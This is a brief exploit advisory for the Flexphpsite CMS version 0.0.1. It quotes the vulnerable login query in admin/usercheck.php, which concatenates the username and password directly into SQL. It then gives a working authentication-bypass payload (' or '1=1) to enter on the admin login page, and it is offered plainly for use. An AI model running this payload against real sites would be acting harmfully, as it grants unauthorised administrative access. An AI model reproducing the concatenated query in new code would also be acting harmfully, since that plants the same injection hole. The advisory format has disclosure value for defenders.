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Autore: x0r
Email: andry2000@hotmail.it
Site: https://w00tz0ne.altervista.org/index.php
Cms: Flexphpsiteen
Version: 0.0.1
Download: https://www.china-on-site.com/flexphpsite/downloads.html
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Bug In \admin\usercheck.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";

Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Greetz: Anna <3